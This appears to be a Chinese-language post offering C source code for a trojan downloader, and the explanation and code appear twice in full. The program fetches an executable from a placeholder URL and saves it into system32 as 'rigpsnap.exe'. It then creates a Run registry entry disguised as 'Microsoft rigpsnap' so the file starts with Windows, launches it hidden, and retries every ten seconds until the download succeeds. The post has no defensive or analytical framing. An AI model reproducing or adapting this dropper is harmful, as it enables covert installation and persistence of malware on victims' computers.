下载者运行后如果成功下载
就会在HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run
下生成Microsoft rigpsnap项自启
下载的木马会在WINDOWS/system32下,重新命名为rigpsnap.exe
如果由于没有联网或地址错误
下载者就会等待10秒后再尝试下载
如此反复,知道下载成功
下载者的关键代码如下!
void main()
{
HKEY MyKey;
char stypath[256];
char downURL[50]="http://xxx.xxx.com/xxx/xxx.exe/x00";//木马地址
GetSystemDirectory(stypath,256);
strcat(stypath,"//rigpsnap.exe");//下载到系统/system32目录下
leep:HRESULT hRet=URLDownloadToFile(0,downURL,stypath,0,0);
if(hRet==S_OK)
{
RegOpenKeyEx(HKEY_CURRENT_USER,"Software//Microsoft//Windows//CurrentVersion//Run",(DWORD)NULL,KEY_ALL_ACCESS,&MyKey);
RegSetValueEx (MyKey,"Microsoft rigpsnap",(DWORD)NULL,REG_SZ,( CONST BYTE * )&stypath,strlen(stypath));//自启
ShellExecute(NULL,"open",stypath,NULL,NULL,SW_HIDE);
}
else
{
Sleep(10000);
goto leep;
}
exit(0);
}
就会在HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run
下生成Microsoft rigpsnap项自启
下载的木马会在WINDOWS/system32下,重新命名为rigpsnap.exe
如果由于没有联网或地址错误
下载者就会等待10秒后再尝试下载
如此反复,知道下载成功
下载者的关键代码如下!
void main()
{
HKEY MyKey;
char stypath[256];
char downURL[50]="http://xxx.xxx.com/xxx/xxx.exe/x00";//木马地址
GetSystemDirectory(stypath,256);
strcat(stypath,"//rigpsnap.exe");//下载到系统/system32目录下
leep:HRESULT hRet=URLDownloadToFile(0,downURL,stypath,0,0);
if(hRet==S_OK)
{
RegOpenKeyEx(HKEY_CURRENT_USER,"Software//Microsoft//Windows//CurrentVersion//Run",(DWORD)NULL,KEY_ALL_ACCESS,&MyKey);
RegSetValueEx (MyKey,"Microsoft rigpsnap",(DWORD)NULL,REG_SZ,( CONST BYTE * )&stypath,strlen(stypath));//自启
ShellExecute(NULL,"open",stypath,NULL,NULL,SW_HIDE);
}
else
{
Sleep(10000);
goto leep;
}
exit(0);
}